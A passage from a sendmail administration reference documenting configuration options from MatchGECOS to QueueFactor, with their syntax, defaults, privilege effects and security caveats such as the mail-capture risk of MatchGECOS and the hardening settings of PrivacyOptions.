Also the states dumped as a result of a SIGUSR1 (see Section 26.3.3, "SIGUSR1 Dump States") are logged, and the output caused by the -d91.100 switch (see Section 37.5.192, -d91.100).

34.8.34 MatchGECOS (G)

Match recipient in gecos field

(V8.1 and above)

The gecos field is the portion of a passwd(5) file line that contains a user's full name. Typical passwd file lines are illustrated below with the gecos field of each highlighted in bold type:

george:Vnn9x34sEVbCN:101:29:George Washington:/usr/george:/bin/csh
bcx:/a88.97eGSx1l:102:5:Bill Xavier,,,:/usr/bcx:/bin/csh
tim:Fss9UdQl55cde:103:45:& Plenty (Jr):/usr/tim:/bin/csh

When sendmail attempts to deliver through a delivery agent that has the F=w flag set (see Section 30.8.43) it looks up the recipient's name in the passwd file so it can locate the user's home directory. That lookup tries to match the login name, the leftmost field in the passwd file. If sendmail has been compiled with MATCHGECOS defined (see Section 18.8.18, MATCHGECOS) and this MatchGECOS (G) option is true, sendmail also tries to match the recipient name to the gecos field. [20]

[20] Note that IDA sendmail can be configured to match addresses in the gecos field, but the algorithm it uses differs from that described here.

First, sendmail converts any underscore characters in the address into spaces and, if the BlankSub (B) option is set (see Section 34.8.5), any characters that match that space substitution character into spaces. This makes the recipient name look like a normal full name.

Second, sendmail normalizes each gecos entry by throwing away everything following and including the first comma, semicolon, and percent characters. It also converts the & to the login name wherever one is found. If any of the characters

< >( ) ' .

are inside the name, the whole gecos name is quoted; otherwise, it's unquoted.

After each gecos name is normalized, it is compared in a case-insensitive manner to the recipient. If they match, the passwd entry for that user is used.

This feature allows users to receive mail addressed to their full name as given in the gecos field of the passwd file. The usual form is to replace spaces in the full name with dots or underscores:

George_Washington
Bill.Xavier
"Tim_Plenty_(Jr)"

Full names in gecos fields that contain characters with special meaning to sendmail, like the last one above, must be quoted when used as addresses.

You should not enable this option if your site lets users edit their own gecos fields with the chfn(1) program. At best, they can change their name in a way that can cause mail to start failing. Worse, they can change their name to match another user's and begin to capture that other user's mail. Even if the gecos field is secure, you should avoid this option if your passwd file is large. The sendmail program performs a sequential read of the passwd file, which could be very slow.

The forms of the MatchGECOS (G) option are as follows:

OGbool                             <-  configuration file (old form)
-oGbool                            <-  command line (old form)
O MatchGECOS=bool                  <-  configuration file (beginning with V8.7)
-OMatchGECOS=bool                  <-  command line (beginning with V8.7)
define(`confMATCH_GECOS',bool)     <-  V8 m4 configuration

The MatchGECOS (G) option is not safe. If it is specified from the command line, it may cause sendmail to give up its root privilege.

34.8.35 MaxDaemonChildren

Maximum forked children

(V8.8 and above)

The sendmail program fork(3)'s often. It forks to process each incoming connection, and it forks to process its queue.

You can limit the number of forked children that sendmail produces by defining the MaxDaemonChildren option:

O MaxDaemonChildren=num                    <-  configuration file (beginning with V8.7)
-OMaxDaemonChildren=num                    <-  command line (beginning with V8.7)
define(`confMAX_DAEMON_CHILDREN', `num')     <-  V8 m4 technique

The num is of type numeric and specifies the maximum number of forked children that are allowed to exist at any one time. If num is less than or equal to zero, if it is missing, or if this entire option is missing, no limit is imposed. If num is greater than zero, connections that cause more than that number of forked children to be created will be rejected. While rejecting more connections, sendmail will change its process title to read

rejecting connections: maximum children: num

If num is greater than zero, sendmail will also limit the number of forked children it creates to handle queue runs.

Note the MaxDaemonChildren option should not be set in the configuration file. If the daemon handling incoming mail has this option set, a denial-of-service attack can easily be launched against your machine. Beginning with V8.8, the ConnectionRateThrottle option (see Section 34.8.12) can be used to slow rapid incoming connections and can be used with the incoming daemon.

The MaxDaemonChildren option is appropriate for use in certain queue-processing situations. For example, consider a special queue that exclusively holds mail for a popular host (say, /var/spool/bigqueue). To handle the outgoing mail, you could run sendmail in queue-processing mode like this:

/usr/lib/sendmail -q5m -OMaxDaemonChildren=2 -OQueueDirectory=/var/spool/bigqueue

Here, the queue is processed once every five minutes. If the number of children were not limited and if the queue were large or the destination host slow, too many parallel invocations of sendmail would be spawned, thus causing excessive connections to the destination host. By limiting the number of children with the MaxDaemonChildren option, you allow a small, polite amount of parallelism.

The MaxDaemonChildren option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.36 MaxHopCount (h)

Set maximum hop count

(All version)

A hop is the transmittal of a mail message from one machine to another. [21] Many hops may be required to deliver a message. The number of hops is determined by counting the Received: and Via: lines [22] in the header of an email message.

[21] The IP transport protocol also has the concept of hops. A message going from one machine to another has only one mail hop but may have many IP hops.

[22] Actually, only the headers that are marked with an H_TRACE flag (see Section 35.5.8, "H_TRACE") are counted.

The MaxHopCount (h) option tells sendmail the maximum number of times a message can be forwarded. When sendmail receives a message via email, it calculates the hop count. If that count is above the maximum allowed, it bounces the message back to the sender with the error

sendmail: too many hops (17 max)

In this case, 17 is the maximum. Detecting too many hops is useful in stopping mail loops - messages being forwarded back and forth between two machines.

The forms of the MaxHopCount (h) option are as follows:

Ohhops                         <-  configuration file (old form)
-ohhops                        <-  command line (old form)
O MaxHopCount=hops             <-  configuration file (beginning with V8.7)
-OMaxHopCount=hops             <-  command line (beginning with V8.7)
define(`confMAX_HOP',hops)     <-  V8 m4 configuration

The hops argument is of type numeric. If hops is missing, the value becomes zero and causes all mail to fail with the error:

sendmail: too many hops (0 max)

If the entire MaxHopCount (h) option is missing, hops defaults to 25. A good value is 15 or more. This allows mail to follow a fairly long route through many machines (as it could with UUCP) but still catches and bounces mail caught in a loop between two machines.

In pre-V8 sendmail there was no h option for setting the maximum number of hops. Instead, the number of hops could be limited only by the compile-time definition of MAXHOP in conf.h. The default definition varied between 15 for IDA sendmail and 30 for V5 and earlier SunOS sendmail.

The MaxHopCount (h) option should not be confused with the -h command-line switch (see Section 36.7.22, -h). The MaxHopCount (h) option specifies the maximum number of hops allowed, whereas the -h command-line switch presets the (beginning) hop count for a given email message.

The MaxHopCount (h) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.37 MaxMessageSize

Maximum incoming ESMTP message size

(V8.7 and above)

The SIZE keyword to the ESMTP MAIL command tells V8 sendmail how big an incoming message is in bytes. If the SIZE keyword is not specified, sendmail assumes that the incoming message is zero bytes in size. V8 sendmail can reject a message at this point if it is larger than a definable maximum message size:

Message size exceeds fixed maximum message size (max)

Here, max is the maximum acceptable size in bytes. Ordinarily, there no maximum. If you want to define one, you may do so with the MaxMessageSize (b) option:

Obminblocks/maxsize                        <-  configuration file (beginning with V8.1)
-obminblocks/maxsize                       <-  command line (beginning with V8.1)
O MaxMessageSize=maxsize                   <-  configuration file (beginning with V8.7)
-OMaxMessageSize=maxsize                   <-  command line (beginning with V8.7)
define(`confMAX_MESSAGE_SIZE',maxsize)     <-  V8 m4 configuration

If maxsize is omitted or if this entire option is omitted, the default is 0 (for unlimited message sizes). For the m4 configuration the default is 0 (unlimited). Note that the b option can also set the minimum blocks free (see Section 34.8.40).

This limit on message size is enforced during the SMTP dialogue. Later, after a delivery agent has been selected, further limitations can be imposed by using the M= delivery agent equate (see Section 30.4.7, M=).

The MaxMessageSize (b) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.38 MaxQueueRunSize

Maximum queue messages processed

(V8.7 and above)

Ordinarily (beginning with V8.6 sendmail), there is no limit to the number of queued messages that can be processed during a single queue run. If there are more messages than sendmail has allocated memory for, sendmail will calmly allocate more memory. (Previously, there was a fixed limit imposed at compile time.)

Some systems process so much mail that a single queue run can become unmanageably large - so huge, in fact, that system resources are strained to the limit with an adverse effect on system performance. If your site suffers from this problem, beginning with V8.7 you can set an upper limit on the number of queued messages to be processed by using the MaxQueueRunSize option:

O MaxQueueRunSize=limit                       <-  configuration file (beginning with V8.7)
-OMaxQueueRunSize=limit                       <-  command line (beginning with V8.7)
define(`confMAX_QUEUE_RUN_SIZE',limit)        <-  m4 configuration

Here, limit is of type numeric and defines the upper limit on how many queued messages can be processed during a single queue run. If limit is less than or equal to zero, if it is missing, or if the entire option is missing, no limit is imposed. The default is to impose no limit.

If MaxQueueRunSize is defined and if that limit is reached while processing the queue, sendmail will log the following message at LOG_ALERT:

WorkList for queuedir maxed out at limit

Processing of the queue is described in Section 23.5, "How the Queue Is Processed". That process can be watched with the -d41 debugging switch (see Section 37.5.144, -d41.1).

The MaxQueueRunSize option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.39 MeToo (m)

Send to me too

(All versions)

When you send mail to a mailing list that includes your name as a part of that list, sendmail normally excludes you from that mailing. There are two good reasons for that behavior:

  • Since you sent the mail, it is assumed that you already have a copy of the letter. Most mailing programs have options that allow you to automatically retain copies of your outgoing mail. The BSD Mail program, for example, has the outfolder option.

  • When mail passes through a site that is acting as an exploder for an outside mailing list, mail loops could be caused by sending a copy of the message back to the original sender.

The MeToo (m) option overrides this behavior, but it is usually best to keep it turned off. If individual users want to be included in mailings to lists that they belong to, they can set this behavior from their mail-sending programs. BSD Mail, for example, allows you to set metoo in your ~/.mailrc file. This use of metoo simply causes Mail to invoke sendmail with the -om switch, thereby setting the MeToo (m) option.

The forms of the MeToo (m) option are as follows:

Ombool                        <-  configuration file (old form)
-ombool                       <-  command line (old form)
-m                            <-  command-line shorthand
O MeToo=bool                  <-  configuration file (beginning with V8.7)
-OMeToo=bool                  <-  command line (beginning with V8.7)
define(`confME_TOO',bool)     <-  V8 m4 configuration

The optional argument bool, when missing, defaults to true (include the sender). If this option is entirely missing, it defaults to false (exclude the sender).

The MeToo (m) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.40 MinFreeBlocks (b)

Define minimum free disk blocks

(V8.1 and above)

The SIZE keyword to the ESMTP MAIL command tells V8 sendmail how big an incoming message is in bytes. If the SIZE keyword is not specified, sendmail assumes that the incoming message is zero bytes in size. In either case it calls the subroutine enoughspace() in conf.c to see whether enough space is available in the queue to accept the message. Unless sendmail is told otherwise, it assumes it can use 100% of the disk space in the queue. If SIZE bytes will overfill the queue disk, sendmail prints the following error and rejects the mail message:

Insufficient disk space; try again later

Note that the SIZE keyword (if received) is just an estimate that allows oversized mail to be rejected early in the ESMTP dialogue. V8 sendmail still properly diagnoses out-of-space conditions when it actually reads the message.

If using 100% of the disk space is unacceptable, you can use the MinFreeBlocks (b) option to reserve space for other kinds of files:

Obminblocks/maxsize                               <-  configuration file (beginning with V8.6)
-obminblocks/maxsize                              <-  command line (beginning with V8.6)
O MinFreeBlocks=minblocks                         <-  configuration file (beginning with V8.7)
-OMinFreeBlocks=minblocks                         <-  command line (beginning with V8.7)
define(`confMIN_FREE_BLOCKS',minblocks)           <-  V8 m4 configuration

Here, minblocks is of type numeric and is the number of disk blocks you wish to reserve. If minblocks is missing or negative or if the entire option is omitted, no blocks are reserved. For the V8.6 form of the b option a slash is required to separate minblocks from maxsize (maxsize is described under the MaxMessageSize option, Section 34.8.37). The default when configuring with the V8 m4 method is 100.

Note that minblocks are reserved only for the ESMTP SIZE keyword to the MAIL command. No check is made for any other kind of queuing to reserve space. Consequently, you should reserve a sufficient number of blocks to satisfy your normal queuing needs.

The MinFreeBlocks (b) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.41 MinQueueAge

Skip queue file if too young

(V8.7 and above)

Ordinarily, all messages in the queue are processed whenever sendmail is run in queue-processing mode. No distinction is made between recently queued messages and messages that have been in the queue for a long time (other than by priority which simply orders the processing).

Some sites may prefer to process the queue often, say, once every five minutes. This ensures that all important mail will be delivered promptly but can exact a price in degraded performance. Every time the queue is processed, sendmail tries to deliver every mail message the queue contains, but at many sites there can be many queued messages that should not be retried every five minutes. One way to handle this problem is to set the MinQueueAge option. If it is set to 1h (one hour), every queued message is forced to remain in the queue for a minimum of one hour, even if the queue is processed more frequently:

O MinQueueAge=wait			  <-  configuration file (beginning with V8.7)
-OMinQueueAge=wait			  <-  command line (beginning with V8.7)
define(`confMIN_QUEUE_AGE',`wait')		  <-  V8 m4 configuration

The argument wait is of type time. If wait is less than or equal to zero or if it is missing, this feature is disabled. If the units in the time expression are omitted, the default is minutes. There is no default for the m4 method.

Note that the decision of whether to process or not is not based on the time the message was placed into the queue. It is instead based on the time the message was last processed from the queue. This time is stored in the K line of the qf file (see Section 23.9.8, K line). This minimum is enforced only if the number of times delivery has been attempted is greater than zero (see the qf file's N line, Section 23.9.10, N line). This ensures that the first delivery attempt will be made immediately.

The MinQueueAge option is safe. If specified from the command line, sendmail will not relinquish its root privilege.

34.8.42 MustQuoteChars

Quote nonaddress characters

(V8.8 and above)

All addresses are composed of address information and nonaddress information. The two most common forms of addresses look like this:

address (non-address)
non-address <address>

Usually, the nonaddress information is a user's full name or something similar. RFC822 requires that certain characters be quoted if they appear in the nonaddress part of an address:

@ , ; : \ ( ) [ ] . \'

Nonaddress information inside parentheses is already quoted by those parentheses. Other nonaddress that contains any of these characters needs to be quoted with full quotation marks. To illustrate, consider this address:

From: Bob@home <bob@here.uofa.edu>

Because the nonaddress part Bob@home contains an @ character, sendmail is required to quote the entire phrase, thus forming

From: "Bob@home" <bob@here.uofa.edu>

This quoting is automatic and cannot be turned off for the first nine characters:

@ , ; : \ ( ) [ ] . \'

        the last two are optional (but are required by RFC822)

The last two characters are optional (but required by RFC822). All 11 characters are the default for the MustQuoteChars option. If you wish to add characters to the mandatory list of characters that will be quoted, you may do so with the MustQuoteChars option:

O MustQuoteChars=more              <-  V8.8 and above
-OMustQuoteChars=more              <-  V8.8 and above

Here, more is of type string and is the list of additional characters that you wish to see quoted in the nonaddress part of addresses. The more characters replace the optional characters and append to the mandatory characters. If more is missing, the optional characters are dropped. There is no m4 shorthand for setting this option.

The MustQuoteChars option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.43 NoRecipientAction

Handle no recipients in header

(V8.7 and above)

The header portion of a mail message must contain at least one recipient header. Problems can arise when an MUA produces a recipientless message or when the only recipients are listed in a Bcc: header line. In the past, sendmail inserted an Apparently-To: header (see Section 35.10.2, Apparently-To:) into any message that lacked header recipients. The addresses in the Apparently-To: were gleaned from the envelope.

Beginning with V8.7 sendmail, it is possible to chose how recipientless headers will be handled. This is done with the NoRecipientAction option, which is used like this:

O NoRecipientAction=what                <-  configuration file (beginning with V8.7)
-ONoRecipientAction=what                <-  command line (beginning with V8.7)
define(`confNO_RCPT_ACTION',what)       <-  m4 configuration

The argument what is of type string and must be selected from those shown in Table 34.16. If the what is omitted or if it is other than one of the possibilities shown, the following error is printed, and the option is ignored:

Invalid NoRecipientAction: badwhat

If the entire option is omitted, the default becomes none. The default for the m4 technique is to omit this option.

The what is case-insensitive, meaning that none and nOnE are both identical.

Table 34.16: NoRecipientAction Option Keywords
What Meaning
add-apparently-to Section 34.8.43.1, "NoRecipientAction=add-apparently-to"

Add an Apparently-To: header

add-bcc Section 34.8.43.2, "NoRecipientAction=add-bcc"

Add an empty Bcc: header

add-to Section 34.8.43.3, "NoRecipientAction=add-to"

Add a To: header

add-to-undisclosed Section 34.8.43.4, "NoRecipientAction=add-to-undisclosed"

Add To: undisclosed-recipients:;

none Section 34.8.43.5, "NoRecipientAction=none"

Pass the message unchanged

The NoRecipientAction option is safe. If it is specified from the command line, sendmail will not relinquish its root privilege.

34.8.43.1 NoRecipientAction=add-apparently-to

Add an Apparently-To: header. That is, act like pre-V8.7 sendmail. But note that this choice has been deprecated and should not be used.

34.8.43.2 NoRecipientAction=add-bcc

Add an empty Bcc: header. This makes the header portion of the mail message legal under RFC822 but implies that all recipients originally appeared in Bcc: header lines. But be aware that old versions of sendmail will strip all Bcc: headers, so the next site may add an Apparently-To: header and wrongly expose the address.

34.8.43.3 NoRecipientAction=add-to

Add a To: header and fill it out with all the recipients from the envelope. This may be misleading because it can give a false picture of the intended recipients. It can also cause Bcc: header addresses to be mistakenly revealed. This choice may be appropriate in the command line when sendmail is run from an MUA that routinely omits recipient headers.

34.8.43.4 NoRecipientAction=add-to-undisclosed

Add a To: header, but list in it only the address of an empty, but descriptive, mailing list:

To: undisclosed-recipients:;

This is the recommended setting for use in configuration files.

34.8.43.5 NoRecipientAction=none

Pass the message unchanged. Currently, this is technically illegal because RFC822 requires at least one recipient header in every mail message. This choice may be appropriate for naive sites that kick all mail to a smart host for processing. Note that the IETF is considering making this legal.

34.8.44 OldStyleHeaders (o)

Allow spaces in recipient lists

(All versions)

In pre-RFC821 days, lists of recipients were commonly space-delimited; that is,

hans christian andersen

was considered a list of three mail recipients, rather than a single, three-part name. Currently, individual recipient names must be delimited with commas, and internal spaces must be quoted. That is,

hans,christian,andersen  <-  three recipients
"hans christian andersen"  <-  a single three-part name
hans christian andersen  <-  illegal

Since some users and some old programs still delimit recipient lists with spaces, the OldStyleHeaders (o) option can be used to tell sendmail to internally convert those spaces to commas.

The forms of the OldStyleHeaders (o) option are as follows:

Oobool                                   <-  configuration file (old form)
-oobool                                  <-  command line (old form)
O OldStyleHeaders=bool                   <-  configuration file (beginning with V8.7)
-OOldStyleHeaders=bool                   <-  command line (beginning with V8.7)
define(`confOLD_STYLE_HEADERS',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If that argument is missing, the default value is true, and unquoted spaces in an address are converted to commas. The default when configuring with the m4 technique is true. If the entire OldStyleHeaders (o) option is missing, it defaults to false, and unquoted spaces are converted to the character defined by the BlankSub (B) option (see Section 34.8.5).

The sendmail program is somewhat adaptive about commas. When first examining a list of addresses, it looks to see whether one of the following four characters appears in that list:

, ; < (

If it finds any of these characters in an address list, it turns off the OldStyleHeaders (o) option for the remainder of the list. You always want to enable this option in your configuration file. The only exception might be the unusual situation in which all addresses are normally comma-separated but some legal addresses contain spaces.

Note that comma delimiting allows spaces around recipient names for clarity. That is, both of the following are equivalent:

hans,christian,andersen
hans, christian, andersen

The OldStyleHeaders (o) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.45 OperatorChars or $o

Set token separation operators

(V8.7 and above)

The OperatorChars option stores as its value a sequence of characters, any one of which can be used to separate the components of an address into tokens (see Section 8.3, "Rule Sets"). Prior to V8.7 the $o macro fulfilled this role. Beginning with V8.7, the OperatorChars option has taken over:

Do.:%@!^=/[]                            <-  prior to V8.7
O OperatorChars=.:%@!^=/[]              <-  beginning with V8.7

The list of separation operators declared with this option is joined by sendmail to an internal list of hard-coded separation operators:

()<>,;\"\r\n

The combined list is used in tokenizing the workspace for rule-set processing. The order in which the characters appear in the OperatorChars option declaration is arbitrary. The space and tab characters need not be included in that list because they are always used to separate tokens.

Care should be taken in eliminating any given character from this list. Before doing so, the entire configuration file should be examined in detail to be sure that no rule requires that character. The use of the individual characters in addresses is beyond the scope of this book. The book !%@:: A Directory of Electronic Mail Addressing and Networks, by Donnalyn Frey and Rick Adams (O'Reilly & Associates, 1993), contains the many forms of addressing in great detail.

The OperatorChars option is used like this:

O OperatorChars=text                 <-  beginning with V8.7
define(`confOPERATORS',`text')       <-  V8 m4 technique

The text is of type string. If it is missing and if the configuration file version is less than 7, sendmail tries to use the value of the $o macro. If that macro is also undefined, a default of ".:@[]" is used. If text is longer than 39 characters, it is truncated to 39 characters. In using the V8 m4 technique, a default of ".:%@!^/[]+" is used.

The OperatorChars option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.46 PostmasterCopy (P)

Extra copies of postmaster mail

(All versions)

RFC822, entitled Standard for the Format of ARPA Internet Text Messages, requires that all sites be set up so that mail addressed to the special name Postmaster [23] always be successfully delivered. This requirement ensures that notification of mail problems can always be sent and successfully delivered to the offending site. [24] At most sites the name Postmaster is an alias to a real person's name in the aliases file. Mail to Postmaster should never be ignored.

[23] The name Postmaster is case-insensitive. That is, POSTMASTER, Postmaster, postmaster, and even PoStMaStEr are all equivalent.

[24] Note that adoption of RFC1648, entitled Postmaster Convention for X.400 Operations, has extended this concept to include hosts addressed as user@host.domain that are really X.400 sites masquerading as Internet sites.

Ordinarily, notification of locally bounced mail and other mail problems is sent back (bounced) to the sender of the message. The local person in the role of Postmaster does not get a copy of local failed mail.

The PostmasterCopy (P) option tells sendmail to send a copy of all failed mail to another person, often Postmaster. Under V8 and SunOS that copy contains only the failed message's header. Under other versions of sendmail that copy includes both the header and the body.

The forms of the PostmasterCopy (P) option are as follows:

OPuser                                <-  configuration file (old form)
-oPuser                               <-  command line (old form)
O PostmasterCopy=user                 <-  configuration file (beginning with V8.7)
-OPostmasterCopy=user                 <-  command line (beginning with V8.7)
define(`confCOPY_ERRORS_TO',user)     <-  V8 m4 configuration

The argument user is of type string. If the argument is missing or if the PostmasterCopy (P) option is entirely missing, no extra copy is sent. The default for the m4 configuration technique to not send an extra copy.

While debugging a new sendmail.cf file, it is wise to define the PostmasterCopy (P) option so that you receive a copy of all failed mail. Once the configuration file is stable, either the PostmasterCopy (P) option may be removed or the name may be replaced with an alias to a program. Such a program could filter the copies of error mail so that only serious problems would be seen.

Macros used in the user argument will be correctly expanded before use. For example,

DHmailhost                                  <-  old form
OPPostmaster@$H                             <-  old form

D{NOTIFYHOST}mailhost                       <-  beginning with V8.7
O PostmasterCopy=Postmaster@${NOTIFYHOST}   <-  beginning with V8.7

The PostmasterCopy (P) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.47 PrivacyOptions (p)

Increase privacy of the daemon

(V8.1 and above)

The PrivacyOptions (p) option is used primarily as a way to force other sites to adhere to SMTP conventions, but can also be used to improve security.

The forms of the PrivacyOptions (p) option are as follows:

Opwhat,...                                 <-  configuration file (old mode)
-opwhat,...                                <-  command line (old mode)
O PrivacyOptions=what,...                  <-  configuration file (beginning with V8.7)
-OPrivacyOptions=what,...                  <-  command line (beginning with V8.7)
define(`confPRIVACY_FLAGS',`what,...')     <-  V8 m4 configuration

Multiple what arguments may be listed and must be separated from one another by commas (there may be arbitrary spaces around the commas), for example,

Op authwarnings, needmailhelo
O PrivacyOptions=authwarnings, needmailhelo

If this option is entirely omitted or if no what arguments are listed, the option defaults to public. The default for the m4 configuration technique is authwarnings. The possible what arguments are listed in Table 34.17.

Table 34.17: PrivacyOptions Option Keywords
Keyword Meaning
authwarnings Section 34.8.47.1, ""PrivacyOptions=authwarnings"

Enable X-Authentication-Warning: headers

goaway Section 34.8.47.2, ""PrivacyOptions=goaway"

Much checking for privacy and security

needexpnhelo Section 34.8.47.3, "PrivacyOptions=needexpnhelo"

Require HELO before EXPN

needmailhelo Section 34.8.47.4, "PrivacyOptions=needmailhelo"

Require HELO before MAIL

needvrfyhelo Section 34.8.47.5, "PrivacyOptions=needvrfyhelo"

Require HELO before VRFY

noexpn Section 34.8.47.6, ""PrivacyOptions=noexpn"

Disallow all SMTP EXPN commands

noreceipts Section 34.8.47.7, ""PrivacyOptions=noreceipts"

Prevent return receipts

novrfy Section 34.8.47.8, ""PrivacyOptions=novrfy"

Disallow all SMTP VRFY commands

public Section 34.8.47.9, "PrivacyOptions=public"

No extra checking for privacy or security

restrictmailq Section 34.8.47.10, ""PrivacyOptions=restrictmailq"

Restrict who may run mailq(1)

restrictqrun Section 34.8.47.11, ""PrivacyOptions=restrictqrun"

Restrict who processes the queue

If what is not one of the keywords listed in the table, sendmail prints the following message and ignores the unknown word:

readcf: Op line: unknown_word unrecognized

Note that sendmail checks for nonroot use of the -C (see Section 36.7.15, -C) and -oQ (see Section 34.8.48) command line switches and dangerous uses of the -f (see Section 36.7.21, -f and -r) command line switch when the command line is read but does not issue warnings until after the configuration file is read. That way, the configuration file determines how X-Authentication-Warning: headers will be issued.

The PrivacyOptions (p) option is safe. If specified from the command line, it does not cause sendmail to relinquish its root privilege. Because it is really a mask, specifications in the configuration file or on the command line can only make it more restrictive.

34.8.47.1 "PrivacyOptions=authwarnings

Setting authwarnings causes sendmail to insert special headers into the mail message that advise the recipient of reasons to suspect that the message may not be authentic. The general form of this special header is shown at the end of this paragraph. The possible reasons are listed in Chapter 35, Headers (see Section 35.10.35, X-Authentication-Warning:).

X-Authentication-Warning: ourhost: reason

34.8.47.2 "PrivacyOptions=goaway

A shorthand way to set all of authwarnings, noexpn, novrfy, needmailhelo, needexpnhelo, and needvrfyhelo.

34.8.47.3 PrivacyOptions=needexpnhelo

The SMTP EXPN command causes sendmail to "expand" a local address and print the result. If the address is an alias, it shows all the addresses that result from the alias expansion. If the address is local, it shows the result of aliasing through a user's ~/.forward file. If needexpnhelo is specified, sendmail requires that the requesting site first introduce itself with an SMTP HELO or ELHO command. If the requesting site has not done so, sendmail responds with the following message rather than providing the requested expansion information:

503 I demand that you introduce yourself first

34.8.47.4 PrivacyOptions=needmailhelo

The SMTP protocol specifies that the sending site should issue the HELO or ELHO command to identify itself before specifying the name of the sender with the MAIL command. By listing needmailhelo with the PrivacyOptions (p) option, you cause the following error to be returned to the sending site in this situation:

503 Polite people say HELO first

If needmailhelo is not specified but authwarnings is specified, then the following header is added to the message describing the problem:

X-Authentication-Warning: ourself: Host they didn't use HELO protocol

34.8.47.5 PrivacyOptions=needvrfyhelo

The SMTP VRFY command causes sendmail to verify that an address is that of a local user or local alias. Unlike EXPN above, VRFY does not cause mailing list contents, the result of aliasing, or the contents of ~/.forward files to be displayed. If needvrfyhelo is specified, sendmail requires that the requesting site first introduce itself with an SMTP HELO or ELHO command. If the requesting site has not done so, sendmail responds with the same message as for needexpnhelo above, rather than providing the requested verification information.

34.8.47.6 "PrivacyOptions=noexpn

Setting noexpn causes sendmail to disallow all SMTP EXPN commands. In place of information, sendmail sends the following reply to the requesting host:

502 That's none of your business              <-  prior to V8.7
502 Sorry, we do not allow this operation     <-  beginning with V8.7

Setting noexpn also causes sendmail to reject all SMTP VERB commands:

502 Verbose unavailable

Other sendmail programs may send VERB if the delivery agent making the connection has the F=I flag set (see Section 30.8.25, F=I (uppercase i)).

34.8.47.7 "PrivacyOptions=noreceipts

Setting noreceipts causes pre-V8.7 sendmail to silently skip the processing of all Return-Receipt-To: headers (see Section 35.10.29, Return-Receipt-To:). Beginning with V8.7 sendmail, notification of successful delivery is governed by the NOTIFY keyword (see RFC1891) to the ESMTP RCPT command:

RCPT TO: <address> NOTIFY=SUCCESS

Setting noreceipts causes V8.7 sendmail to silently skip all such requests for notification of successful delivery.

34.8.47.8 "PrivacyOptions=novrfy

Setting novrfy causes sendmail to disallow all SMTP VRFY commands. In place of verification, sendmail sends the following reply to the requesting host:

252 Who's to say?                                                    <-  V8.6
252 Cannot VRFY user; try RCPT to attempt delivery (or try finger)   <-  V8.7

34.8.47.9 PrivacyOptions=public

The default for the non-m4 version of the PrivacyOptions (p) option is public. This means that there is no extra checking for valid SMTP syntax and no checking for the security matters.

34.8.47.10 "PrivacyOptions=restrictmailq

Ordinarily, anyone may examine the mail queue's contents by using the mailq(1) command (see Section 23.4, "Printing the Queue"). To restrict who may examine the queue's contents, specify restrictmailq. If restricted, sendmail allows only users who are in the same group as the group ownership of the queue directory to examine the contents. This allows the queue directory to be fully protected with mode 0700 yet for selected users to still be able to see its contents.

34.8.47.11 "PrivacyOptions=restrictqrun

Ordinarily, anyone may process the queue with the -q switch (see Section 23.6.1). To limit queue processing to root and the owner of the queue directory, specify restrictqrun. If queue processing is restricted, any nonprivileged user who attempts to process the queue will get this message:

You do not have permission to process the queue

34.8.48 QueueDirectory (Q)

Location of queue directory

(All versions)

Mail messages that have not yet been delivered are stored in the sendmail program's queue directory. The location of that directory is defined by the QueueDirectory (Q) option. That location may be a relative pathname (for testing) or an absolute pathname. If the specified location does not exist, sendmail prints something like the following:

cannot chdir(/var/spool/mqueue): No such file or directory

If the location exists but is not a directory, sendmail prints something like the following:

cannot chdir(/var/spool/mqueue): Not a directory

In both cases, sendmail also logs an error message via syslog(8) if the logging level of the LogLevel (L) option (see Section 34.8.33) permits. In both cases, sendmail aborts immediately.

The forms of the QueueDirectory (Q) option are as follows:

OQpath                         <-  configuration file (old form)
-oQpath                        <-  command line (old form)
O QueueDirectory=path          <-  configuration file (beginning with V8.7)
-OQueueDirectory=path          <-  command line (beginning with V8.7)
define(`QUEUE_DIR',`path')     <-  V8 m4 configuration

The path argument is of type string. If it is missing, the value for path defaults to "mqueue". Relative names for the queue are always relative to the directory in which sendmail was invoked. If the entire QueueDirectory (Q) option is missing, the value for path defaults to the C language value of NULL, and sendmail complains with

cannot chdir((null)): Bad file number

The default in configuring with the m4 technique varies depending on your operating system.

The QueueDirectory (Q) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.49 QueueFactor (q)

Factor for high-load queuing

(All versions)

When the load average on a machine (the average number of processes in the run queue over the last minute) becomes too high, sendmail can compensate by queuing all mail, rather than delivering it. The QueueFactor (q) option is used in combination with the QueueLA (x) option (see Section 34.8.50) to calculate the point at which sendmail stops delivering. If the current load average is greater than or equal to the value given to the QueueLA (x) option, then the following formula is evaluated:

msgpri > q / (la - x + 1)

Here, q is the value set by this option, la is the current load average, and x is the cutoff load specified by the QueueLA (x) option. If the value yielded by this calculation is less than or equal to the priority of the current mail message (msgpri above), the message is queued rather than delivered. Priorities are initialized with the P sendmail.cf command (see Section 35.8, "Precedence") and tuned with the RecipientFactor (y) and ClassFactor (z) options (see Section 34.8.53). As the load average (la) grows, the value to the right of the > becomes smaller, increasing the chance that msgpri will exceed that threshold (so that the mail will be queued). Beginning with V8.7 sendmail, this relation can be tuned with the help of the -d3.30 debugging switch (see Section 37.5.18, -d3.30).

The forms of QueueFactor (q) option are as follows:

Oqfact                              <-  configuration file (old form)
-oqfact                             <-  command line (old form)
O QueueFactor=fact                  <-  configuration file (beginning with V8.7)
-OQueueFactor=fact                  <-  command line (beginning with V8.7)
define(`confQUEUE_FACTOR',fact)     <-  V8 m4 configuration

The argument fact is of type numeric. It may be positive, negative, or zero. If fact is missing, the value defaults to zero. If the entire QueueFactor (q) option is missing, the default value given to fact is 600000 (six hundred thousand). The default for the m4 technique is to omit this option.

Note that the load average is effective only if your sendmail binary was compiled with load-average support (see Section 18.8.14, LA-TYPE). Use the -d3.1 debugging switch (Section 37.5.14, -d3.1) to discover whether your binary includes that support.

